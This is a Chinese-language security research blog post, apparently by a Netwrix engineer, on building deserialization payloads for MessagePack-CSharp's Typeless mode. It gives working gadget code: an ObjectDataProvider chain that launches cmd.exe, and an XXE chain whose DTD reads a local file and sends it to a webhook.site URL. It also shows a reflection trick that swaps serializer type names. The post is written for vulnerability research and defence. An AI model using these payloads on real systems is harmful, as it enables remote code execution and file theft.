2026年特权访问管理魔力象限™:Netwrix连续第五年获认可。 下载报告。

资源中心博客

为 MessagePack C# 的 Typeless 模式生成反序列化载荷

为 MessagePack C# 的 Typeless 模式生成反序列化载荷

Apr 10, 2023

MessagePack-CSharp 的 Typeless 模式通过嵌入完整的类型信息(包括私有字段)来实现多态序列化,因此功能强大,但在处理不受信任的数据时并不安全。由于反序列化依赖反射以及自动属性设置器,攻击者可以利用已知的 gadget 链构造负载,从而触发代码执行或 XXE 攻击。即使启用了 MessagePack 的加固安全选项,Typeless 模式仍从根本上不安全,绝不应与不受信任的输入一起使用。

MessagePack-CSharp 是一个高性能的序列化库,可简化对复杂对象进行序列化和反序列化的过程。许多 .NET 开发人员喜欢使用 MessagePack,因为它比 XML 或 JSON 等其他序列化格式更快,并且生成的输出更小。

MessagePack-CSharp 提供一个名为 Typeless 的功能模式,可在事先无需了解对象类型的情况下,实现对象的动态、多态(polymorphic)序列化与反序列化。在对象类型仅在运行时才知道的场景中,这一能力尤其有用,使开发者能够对对象进行序列化与反序列化,而无需用属性来装饰类。Typeless 模式几乎可以序列化任何类型,包括公共与私有的属性(properties)以及字段(fields)。

随着 BinaryFormatter 被弃用(不再推荐使用),开发者可能会寻找替代方案,例如 MessagePack 的 Typeless 模式,因为它提供了类似的功能。

MessagePack 文档建议不要在不受信任的数据上使用 Typeless 模式,因为这可能会导致安全问题。本文通过展示如何为 MessagePack 的 Typeless 模式创建反序列化利用(deserialization exploit)载荷,来说明这些问题。

使用 Typeless 模式序列化对象

      namespace SomeLibrary
{
    public class SomeClass
    {
        private string _privateField;
        public string PublicProperty { get; set; }
        public string PrivateProperty { get; private set; }
        public void SetPrivateProperty(string pPrivateProperty) 
            => PrivateProperty = pPrivateProperty;
        public void SetPrivateField(string pPrivateField) 
            => _privateField = pPrivateField;
    }
}

namespace MessagePackTypelessDemo
{
    class Program
    {
        static void Main()
        {
            var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
            obj.SetPrivateProperty("HIJKLMNOP");
            obj.SetPrivateField("QRSTUVWXYZ");

            System.IO.File.WriteAllBytes(
                "serialized.bin", 
                MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
        }
    }
}
      

需要注意的是,序列化后的数据不仅包含私有属性(private property)和字段(field)的值,还包含 SomeClass 的 AssemblyQualifiedName(AQN)。在反序列化期间,MessagePack 会引用这些类型信息,以确保构造出的对象类型与其一致,并且数据能够被正确填充。

Image

图 1:MessagePack Typeless 序列化数据的十六进制视图

在反序列化过程中,MessagePack 会利用反射来调用不带参数的默认构造函数。如果不存在默认构造函数,则反序列化会失败。此外,还会使用反射来调用属性的 setter,并将值赋给字段。

反序列化不受信任数据的安全影响

MessagePack 文档讨论了与反序列化不受信任数据相关的安全影响。该部分特别建议不要在不受信任的数据中使用 Typeless 模式,因为这可能导致反序列化意外的类型,从而引发安全漏洞。

MessagePackSerializerOptions 类允许开发人员在序列化和反序列化期间配置特定行为,例如使用 Lz4 压缩和处理程序集版本。该类还定义了一个已知的危险类型列表,MessagePack 不会对这些类型进行反序列化。如果序列化数据中包含其中任意一种类型,将抛出异常并中止反序列化。当前该列表包含两种类型:

  • System.CodeDom.Compiler.TempFileCollection
  • System.Management.IWbemClassObjectFreeThreaded

MessagePackSerializerOptions 也可以配置为使用更安全的模式,该模式面向处理不受信任的数据,并引入最大对象图深度以及具有抗碰撞能力的哈希算法。文档指出,该模式仅能增强对常见攻击的防护,并非完全安全。

      MessagePackSerializerOptions options = 
    TypelessContractlessStandardResolver.Options
        .WithAllowAssemblyVersionMismatch(true)
        .WithSecurity(MessagePackSecurity.UntrustedData);

return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
      

尽管受到这些限制,依然可以在反序列化不受信任的数据时,创建利用属性 setter 调用来触发特权操作(例如代码执行)的序列化“gadget”载荷。前提是该 gadget 不在被禁止类型列表中。

直接序列化已实例化的 gadget 类型可能会带来问题,因为该类型的所有属性和字段都会被序列化,且无法选择忽略其中任何一项。反序列化该对象可能会导致对象配置错误,从而在实例化过程中引发问题,进而可能导致利用失败。此外,对于基于 setter 的 gadget,研究人员可能需要在对象创建期间直接运行载荷。

为避免这些问题,更好的做法是创建一个最小的替身(surrogate)对象,并将其序列化为真实的 gadget 类型。这样,在反序列化过程中只会设置必要的属性和字段,从而降低出现意外行为的风险。

生成用于代码执行的 ObjectDataProvider payload

ObjectDataProvider gadget 是一种广为人知的代码执行 gadget,出现在众多 gadget 链中。本文不会详细说明 ObjectDataProvider 的具体工作方式,因为 Alvaro Muñoz 和 Oleksandr Mirosh 的 “Friday the 13th JSON Attacks” 论文对其工作机制提供了全面的解释。

简而言之,ObjectDataProvider 可用于通过配置 MethodName 和 ObjectInstance 属性来调用 Process.Start,并使用用户指定的参数:当设置任一属性时,都会在提供的对象实例上调用所提供的方法名。具体来说,MethodName 属性应设置为“Start”,ObjectInstance 属性应设置为 System.Diagnostics.Process 的一个实例。随后,可以通过包含在 System.Diagnostics.ProcessStartInfo 对象中的属性来设置文件名和参数;该对象作为 Process 对象的 StartInfo 属性提供。

步骤 1:指定替身(surrogate)类型

替身(surrogate)类型只需要包含导致代码执行所需的最少属性即可。对于 ObjectDataProvider 这一 gadget, 对象图(object graph)需要符合以下规范:

      public class ObjectDataProviderSurrogate
{
    public string MethodName { get; set; }
    public object ObjectInstance { get; set; }
}

public class ProcessStartInfoSurrogate
{
    public string FileName { get; set; }
    public string Arguments { get; set; }
}

public class ProcessSurrogate
{
    public ProcessStartInfoSurrogate StartInfo { get; set; }
}

      

步骤 2:构造 ObjectDataProviderSurrogate 对象

要生成执行“calc.exe”的 payload, 我们首先构造 ObjectDataProviderSurrogate 对象,并根据真实的 ObjectDataProvider 对象设置所需的属性;必要时还会使用额外的替身(surrogate)。

      return new ObjectDataProviderSurrogate
{
    MethodName = "Start",
    ObjectInstance = new ProcessSurrogate
    {
        StartInfo = new ProcessStartInfoSurrogate
        {
            FileName = "cmd.exe",
            Arguments = "/c calc"
        }
    }
};

      

步骤 3:修改类型缓存

MessagePack 的 Typeless 模式不包含将一种类型序列化为另一种类型的功能。虽然此前开发者可以通过重写 TypelessFormatter 的 BindToType 委托来实现这一点,但该功能在一次重要的重构过程中被移除了。不过,我们仍然可以利用 MessagePack 的一些内部行为来达成这一目标。

The TypelessFormatter 使用内部缓存来存储先前已处理类型的类型信息。当缓存中存在某个类型时,格式化器会跳过通过 AssemblyQualifiedName 属性检索该类型的 AQN,而是直接以字节数组形式返回缓存中的 AQN 字符串。随后,该字符串会被合并到序列化数据中,用于标识已序列化的类型。

      public void Serialize(
    ref MessagePackWriter writer,
    object? value,
    MessagePackSerializerOptions options)
{
    // [Truncated]

    Type type = value.GetType();

    var typeNameCache = options.OmitAssemblyVersion
                ? ShortenedTypeNameCache
                : FullTypeNameCache;

    if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
    {
        TypeInfo ti = type.GetTypeInfo();
        if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
        {
            typeName = null;
        }
        else
        {
            typeName = StringEncoding.UTF8.GetBytes(
                this.BuildTypeName(type, options));
        }

        typeNameCache.TryAdd(type, typeName);
    }

    // Use typeName...
}
      

通过将类型及其对应的 AQN 字符串添加到缓存中,我们可以确保序列化器在处理这些对象时写入指定的 AQN 字符串。由于缓存是私有的,我们可以利用反射来访问该字段的 TryAdd 方法。

      public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
    FieldInfo typeNameCacheField = 
        typeof(TypelessFormatter)
            .GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
    
    MethodInfo addTypeCacheMethod = 
        typeNameCacheField.FieldType
            .GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });

    object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
    foreach (var typeSwap in pNewTypeCacheEntries)
    {
        addTypeCacheMethod.Invoke(
            typeNameCache,
            new object[]
            {
                typeSwap.Key,
                System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
            });
    }
}
      

现在,我们可以将自己的类型添加到 TypelessFormatter 的内部类型缓存中,同时附上真实对象对应的类型名称。由于 TypelessFormatter 是静态的,之后任何 serialize 调用都会使用这个已修改的类型缓存。

      SwapTypeCacheNames(
    new Dictionary<Type, string>
    {
        {
            typeof(ObjectDataProviderSurrogate),
            "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
        },
        {
            typeof(ProcessSurrogate),
            "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        {
            typeof(ProcessStartInfoSurrogate),
            "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        }
    });

      

步骤 4。序列化并反序列化负载(payload)

我们可以确认,序列化后的数据包含 ObjectDataProvider gadget chain 所需的 AQN,以及仅用于实现成功代码执行所必需的属性和值。在反序列化之后,payload 将触发 Process.Start,启动 calc.exe。

Image

图 2. 序列化后的 ObjectDataProvider 组件负载的十六进制视图

Image

图 3. 在反序列化过程中成功利用并启动 calc.exe

此负载生成功能也已集成到 Ysoserial.NET 项目 中,以便研究人员能够为标准数据和 Lz4 压缩数据生成 MessagePack Typeless 负载。

Image

图 4. 使用 Ysoserial.NET 生成 MessagePack Typeless 负载

限制

在 MessagePack-CSharp 的 v2.3.75(2021 年 7 月)之前版本中,无法通过反序列化已序列化的 ObjectDataProvider 载荷来实现代码执行。在这些版本中,即使序列化数据中不存在对应值,也会为对象调用属性(property)setter。

ObjectDataProvider 扩展了 System.Windows.Data.DataSourceProvider 类。该类包含受保护的属性 Dispatcher;在 MessagePack 的较早版本中,Dispatcher 会被设置为 null。

      protected Dispatcher Dispatcher
{
    get { return _dispatcher; }
    set
    {
        if (_dispatcher != value)
        {
            _dispatcher = value;
        }
    }
}
      

如前所述,设置指定的 ObjectInstance 或 MethodName 属性将调用一个内部 Refresh 方法;该方法在两个属性都已设置的前提下,会触发在对象实例上调用指定的方法名。这意味着要实现成功的调用,Refresh 方法必须被调用两次——分别在设置每个属性时各调用一次。

在每次调用 Refresh 结束时,会调用 DataSourceProvider 的 OnQueryFinished 方法,表示查询已完成。该方法断言 Dispatcher 属性不为 null。

      protected virtual void OnQueryFinished(object newData, Exception error
    DispatcherOperationCallback completionWork, object callbackArguments)
{
    Invariant.Assert(Dispatcher != null);
    if (Dispatcher.CheckAccess())
    {
        UpdateWithNewResult(error, newData, completionWork, callbackArguments);
    }
    else
    {
        Dispatcher.BeginInvoke(
            DispatcherPriority.Normal, UpdateWithNewResultCallback,
            new object[] 
            { 
                this, error, newData, completionWork, callbackArguments
            });
    }
}
      

由于此时 Dispatcher 为 null,Invariant.Assert 将失败,从而触发对 Invariant.FailFast 的调用,最终会终止该进程。由于这会发生在第一次调用 Refresh 时,因此将无法进行代码执行。

为 XXE 文件外泄生成 XmlDocument 载荷

XmlDocument 类具有 InnerXml 字符串属性。该属性在设置时会使用提供的属性值调用 XmlDocument 的 Load 方法。对于低于 v4.5.2 的 .NET 版本,这可能会产生对 XXE(XML 外部实体)攻击的潜在漏洞,使攻击者能够将系统中的文件外泄到远程位置。

在 .NET Framework v4.5.2 及更高版本中,XmlDocument 的 XmlResolver 属性默认设置为 null,从而阻止对 XML 实体的处理。然而,由于 MessagePack 会使用默认构造函数对类型进行反序列化,仍然可以通过将 XmlUrlResolver 作为 XmlResolver 属性来规避这种保护。这为从 .NET Core 到 .NET 7 的后续版本中的 XXE 场景提供了通路。

步骤 1. 指定 XmlDocument 的替代(surrogate)类型

我们指定执行 XXE 攻击所需的最小属性。注意,XmlResolver 属性的类型是 System.Object,而不是 XmlUrlResolverSurrogate。这会强制 MessagePack 包含 XmlResolver 属性的类型的 AQN,从而让我们能够利用类型替换(type-swapping)机制。

      public class XmlDocumentSurrogate
{
    public object XmlResolver { get; set; }
    public string InnerXml { get; set; }
}

public class XmlUrlResolverSurrogate
{
}

      

第 2 步。构造 XmlDocument 代理(surrogate)对象

要在反序列化(deserialization)过程中外泄文件,我们首先需要准备并托管一个 DTD 文件。该 DTD 文件将被提供给 InnerXml 属性的已加载 XML 引用。我们可以使用免费的文本粘贴服务 Pastebin 来托管 DTD 文件,因为它允许进行原始文件访问。

DTD 将读取文件 “C:\test.txt” 的内容(这个概念验证(proof-of-concept)示例包含文本 “A1B2C3”),并将内容作为 GET 参数传递给由攻击者控制的 Web 服务。对于这个示例,我们将使用免费的 Webhook.Site 服务来捕获请求。

      <!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;

      

在反序列化过程中将加载的 XML 会引用该 DTD 文件,并触发导致发出 GET 请求的实体扩展(entity expansion)。

      <?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
      

接下来,完整的代理(surrogate)对象构建只需完成两件事:将 XmlDocumentSurrogate 的 InnerXml 属性填入上面的 XML,并将 XmlResolver 属性设置为我们的 XmlUrlResolverSurrogate 类型。

      return new XmlDocumentSurrogate
{
    XmlResolver = new XmlUrlResolverSurrogate(),
    InnerXml = "<?xml version=\"1.0\"?>" +
    "<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
    "<foo>&c;</foo>"
};

      

第 3 步。替换类型定义

使用与生成 ObjectDataProvider gadget 相同的方法,我们可以使用 SwapTypeCacheNames 函数,将替身(surrogate)类型信息替换为真实 XmlDocument gadget 的类型信息。

      SwapTypeCacheNames(
    new Dictionary<Type, string>
    {
        {
            typeof(XmlDocumentSurrogate),
            "System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        {
            typeof(XmlUrlResolverSurrogate),
            "System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        }
    });
      

第 4 步。序列化并反序列化有效载荷

XmlDocument gadget chain 的序列化数据包含正确的 AQNs,其中包括 XmlUrlResolver 所需的必要 AQN。反序列化时,有效载荷将触发对攻击者托管的 DTD 的请求。随后将使用该 DTD 提取“C:\Test.txt”的内容,并将内容作为 GET 参数传递给 webhook。

Image

图 5. 序列化的 XmlDocument gadget 负载的十六进制视图

Image

图 6. 序列化和反序列化 XmlDocument gadget 载荷

Image

图 7. 反序列化过程中成功的 XXE 文件外传

限制

MessagePack-CSharp 在 v2.3.75(2021 年 7 月)之前的版本由于前面提到的缺陷,会阻止在反序列化 XmlDocument gadget 载荷时执行 XXE 攻击:即使对象的属性在序列化数据中不存在,也会调用该对象的属性设置器(setter)。

该缺陷会导致 XmlDocument 的 Value 属性设置器(setter)(继承自 System.Xml.XmlNode)被调用。该设置器会无论提供什么值都抛出异常,从而使反序列化过程在任何文件外传发生之前就终止。

      public virtual string Value
{
    get { return null; }
    set 
    { 
        throw new InvalidOperationException(
            string.Format(
                CultureInfo.InvariantCulture, 
                Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString())); 
    }
}
      

摘要

本文概述了一种在 MessagePack 的 Typeless 模式下创建反序列化(deserialization)利用载荷的简单方法。鉴于该序列化器不仅能够处理私有属性(private properties),还能够处理私有字段(private fields),因此与更受限制的对应实现相比,该序列化器可能存在更多的利用链组件(gadgets)。

对不受信任的数据进行反序列化(deserialization)会带来显著的安全风险,尤其是在对会定义嵌入对象类型(embedded object type)的数据进行反序列化时。开发人员应避免使用 MessagePack 的 Typeless 功能来反序列化不受信任的数据;即使启用了所有安全特性,它仍然是不安全的,且无法被真正地加固为安全。

致谢

特别感谢 Piotr Bazydlo(@chudyPB),为本文提供了宝贵的见解,这些见解聚焦于在 MessagePack 早期版本中对 ObjectDataProvider 利用链(gadget chains)进行反序列化时的限制,从而阻止了成功利用。

常见问题(FAQ)

分享到

了解更多

关于作者

Asset Not Found

Dane Evans

资深应用安全工程师

Dane 是 Netwrix Security Research 团队的应用安全工程师,拥有十余年的应用安全与软件工程经验。他的主要关注领域包括应用安全、软件开发生命周期(SDLC)、漏洞研究以及漏洞利用(exploit)开发。